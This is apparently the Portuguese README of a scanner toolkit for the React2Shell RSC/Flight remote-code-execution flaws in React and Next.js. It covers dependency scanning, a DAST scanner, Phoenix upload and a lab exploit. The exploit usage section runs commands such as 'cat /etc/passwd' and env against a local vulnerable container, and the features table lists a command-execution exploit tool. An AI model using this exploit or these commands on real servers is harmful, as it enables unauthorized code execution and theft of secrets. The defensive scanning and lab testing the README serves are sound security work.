
Scanner para CVE-2025-55182 (React) e CVE-2025-66478 (Next.js) - Rastreie e remedeie uma campanha de vulnerabilidade crítica de React Server Components (RSC) / protocolo Flight que afeta react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack e frameworks com suporte a RSC, como Next.js.
Vulnerabilidade EXTERNA para a classe de bugs React2Shell: duas vulnerabilidades de execução remota de código não autenticadas recém-divulgadas no protocolo "Flight" dos React Server Components (RSC)—CVE-2025-55182 (React) e CVE-2025-66478 (Next.js), ambas classificadas como CVSS 10.0. Esses problemas residem na forma como os endpoints RSC/Server Function decodificam payloads Flight controlados pelo atacante, transformando uma única requisição HTTP manipulada em potencial execução de código no servidor—mesmo em stacks modernas "padrão" de React/Next.js que usam App Router e builds de produção. Para muitas equipes, este é um momento de "corrigir agora, verificar exposição e depois auditar", e não algo para adiar para um sprint posterior de higiene de dependências. A pasta LAB contém exploits e vulnerabilidades de laboratório para React2Shell
Este projeto oferece uma abordagem dupla: (1) varredura de risco de composição de software / dependências (esta ferramenta), para localizar rapidamente bibliotecas e versões vulneráveis, e (2) um scanner web DAST (React2Shell Web Scanner) que testa ativamente endpoints RSC/Flight a partir do exterior, validando se caminhos exploráveis estão acessíveis em ambientes em execução. Juntas, elas ajudam você a responder tanto "onde estão os componentes vulneráveis?" quanto "onde eles podem realmente ser explorados em produção?" para que você possa priorizar correções, hardening e resposta a incidentes com confiança.
Para testes de endpoint ao vivo e validação de RCE, consulte o scanner web dedicado:
📁 web-scan_CVE-2025-66478/ - Documentação completa e guia
cd web-scan_CVE-2025-66478
# Install dependencies
pip install -r requirements.txt
# Scan a single target
python3 react2shell-scanner -u https://target.com -v
# Scan with evidence display
python3 react2shell-scanner -u https://target.com --show-evidence
# Batch scan with all export formats
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html
# Test the exploit on vulnerable target (requires Python 3.11+)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"
cd web-scan_CVE-2025-66478/test-lab/lab
# Start vulnerable (3011) and patched (3012) instances
docker-compose up -d
# Test vulnerable instance
python3 react2shell-scanner -u http://localhost:3011 --show-evidence
cd web-scan_CVE-2025-66478/test-lab
# Install exploit dependencies
pip3.11 install -r requirements.txt
# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)
# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"
# Application recon
python3.11 exploit.py -u http://localhost:3011 -c "pwd" # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
React2Shell é uma primitiva de execução remota de código não autenticada contra o tratamento de payloads dos React Server Components (RSC) no protocolo Flight. Na prática, isso significa que um cliente malicioso pode enviar uma única requisição HTTP manipulada a um endpoint RSC/Server Function e, se uma versão vulnerável estiver em uso, potencialmente transformar um "aplicativo web" em um "shell de servidor".
Em um nível geral:
Como se trata de RCE não autenticada, configurações padrão de produção estão no escopo—mesmo que você nunca tenha escrito explicitamente uma "server function" e simplesmente adotado padrões modernos de React/Next.js. Mitigações no nível de hospedagem e WAFs genéricos não devem ser tratados como sua principal rede de segurança: eles podem reduzir a exposição, mas não compensarão de forma confiável bibliotecas vulneráveis. Trate isso como um incidente:
Uma vez que um atacante obtém RCE via React2Shell, os defensores devem assumir uma kill chain familiar:
.env, segredos de implantação, tokens de CI, credenciais de serviços e chaves de assinatura.Se o seu pipeline de DevSecOps historicamente tratou a camada web como "apenas um frontend", esta vulnerabilidade é uma demonstração concreta de que frameworks frontend podem carregar um profundo raio de impacto no lado do servidor quando RSC e semânticas de streaming estão envolvidas. O Universal Vulnerability Scanner existe para ajudar você a responder rapidamente "estamos executando os pacotes vulneráveis em algum lugar?" e a alimentar essa resposta em campanhas orientadas pelo Phoenix e, em breve, na validação web DAST complementar de endpoints RSC ao vivo.
# Install dependencies
pip install -r requirements.txt
# Run from project root
python -m universal_vulnerability_scanner.main --help
# Basic scan
python -m universal_vulnerability_scanner.main scan /path/to/project
# With JSON output
python -m universal_vulnerability_scanner.main scan /path/to/project --json --output results.json
# Quiet mode (only show summary)
python -m universal_vulnerability_scanner.main scan /path/to/project --quiet
# Create Phoenix configuration template
python -m universal_vulnerability_scanner.main create-config
# Edit .phoenix.config with your credentials
# Then scan and upload
python -m universal_vulnerability_scanner.main scan /path/to/project --upload-phoenix
# Test with included vulnerable samples
python -m universal_vulnerability_scanner.main test
O scanner usa um banco de dados de vulnerabilidades baseado em JSON localizado em:
universal_vulnerability_scanner/data/vulnerability_database.json
{
"metadata": {
"version": "1.0.0",
"last_update": "2025-12-04",
"ecosystems": ["npm"]
},
"vulnerabilities": {
"npm": {
"package-name": {
"exact_versions": ["1.0.0", "1.0.1"],
"vulnerable_ranges": [
{"min": "1.0.0", "max": "1.0.2", "severity": "CRITICAL"}
],
"safe_versions": ["1.0.2+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "Vulnerability description",
"references": ["https://..."]
}
}
}
}
Crie .phoenix.config:
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.securityphoenix.cloud
assessment_name = Universal Vulnerability Scanner - RSC Detection
import_type = new
Ou use variáveis de ambiente:
export PHOENIX_CLIENT_ID="your_client_id"
export PHOENIX_CLIENT_SECRET="your_client_secret"
export PHOENIX_API_URL="https://api.securityphoenix.cloud"
================================================================================
UNIVERSAL VULNERABILITY SCANNER REPORT
================================================================================
Scan completed: 2025-12-04 10:30:00
SUMMARY:
----------------------------------------
Total findings: 12
VULNERABLE: 3
SAFE: 2
CLEAN: 5
REVIEW: 2
🚨 VULNERABLE PACKAGES DETECTED
================================================================================
1. [email protected]
File: /path/to/project/package.json
Reason: Exact match with known vulnerable version 19.0.0
✅ Safe version: 18.99.99
CVE: CVE-2025-RSC-001
[
{
"path": "/path/to/project/package.json",
"kind": "package.json",
"package": "react-server-dom-webpack",
"version": "19.0.0",
"verdict": "VULNERABLE",
"reason": "Exact match with known vulnerable version 19.0.0",
"severity": "CRITICAL",
"vulnerable_versions": ["19.0.0", "19.1.0", "19.1.1", "19.2.0"],
"safe_version": "18.99.99",
"cve_ids": ["CVE-2025-RSC-001"],
"timestamp": "2025-12-04T10:30:00"
}
]
O scanner inclui amostras de teste abrangentes em test_samples/:
Execute os testes:
python -m universal_vulnerability_scanner.main test
universal_vulnerability_scanner/
├── core/
│ └── version_parser.py # Semver parsing & comparison
├── models/
│ ├── finding.py # Finding data model
│ └── vulnerability.py # Vulnerability database model
├── scanners/
│ ├── base_scanner.py # Abstract scanner interface
│ └── npm_scanner.py # NPM ecosystem scanner
├── integrations/
│ └── phoenix_uploader.py # Phoenix API client
├── data/
│ └── vulnerability_database.json # Vulnerability definitions
├── test_samples/ # Test cases
└── main.py # CLI entry point
scanners/ herdando de BaseScannerExemplo:
from .base_scanner import BaseScanner
class PyPIScanner(BaseScanner):
def _get_ecosystem(self) -> str:
return "pypi"
def scan_path(self, root: Path) -> List[Finding]:
# Implement PyPI scanning logic
pass
Edite data/vulnerability_database.json:
{
"npm": {
"new-vulnerable-package": {
"exact_versions": ["1.0.0"],
"vulnerable_ranges": [{"min": "1.0.0", "max": "1.0.5", "severity": "HIGH"}],
"safe_versions": ["1.0.5+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "Vulnerability description"
}
}
}
0 - Varredura bem-sucedida, nenhuma vulnerabilidade encontrada1 - Varredura bem-sucedida, vulnerabilidades encontradas2 - Falha na varredura (entrada inválida, erro no banco de dados, etc.)Envia automaticamente descobertas para o Phoenix com:
# Example GitHub Actions
- name: Vulnerability Scan
run: |
python -m universal_vulnerability_scanner.main scan . --json --output scan-results.json
- name: Upload to Phoenix
if: always()
run: |
python -m universal_vulnerability_scanner.main scan . --upload-phoenix
react/rsc_exposure_scanner.pyenhanced_npm_compromise_detector_phoenix.pyParte do kit de ferramentas de segurança Shai Halud.
🔍 Fiquem seguros! Reportem vulnerabilidades de forma responsável.
| Feature | Descrição |
|---|
| 🔍 Detecção de RCE | Detecção segura baseada em aritmética (sem efeitos colaterais) |
| 🎯 Fingerprinting de Tecnologia | Detecção automática de aplicações Next.js/React |
| 📊 Exportação Multi-Formato | Relatórios JSON, CSV, HTML |
| 🔗 Correlação de IOCs | Correspondência com 31+ IPs maliciosos conhecidos |
| 🌐 Varredura em Escala | Faixas CIDR, enumeração de subdomínios |
| ☁️ Integração Phoenix | Envio de descobertas para o Phoenix Security |
| 💻 Ferramenta de Exploit | Executa comandos em alvos vulneráveis |
| Caso de Teste | Descrição | Resultados Esperados |
|---|
rsc_vulnerable_exact/ | Versões vulneráveis exatas | 4 VULNERABLE |
rsc_vulnerable_range/ | Intervalos de versões | 4 VULNERABLE |
rsc_safe_versions/ | Versões seguras corrigidas | 6 SAFE |
rsc_mixed/ | Mistura de vulneráveis/seguras/limpas | 2 VULNERABLE, 1 SAFE, 4 CLEAN |
rsc_with_lockfile/ | Parsing de lockfile | 2 VULNERABLE, 1 CLEAN |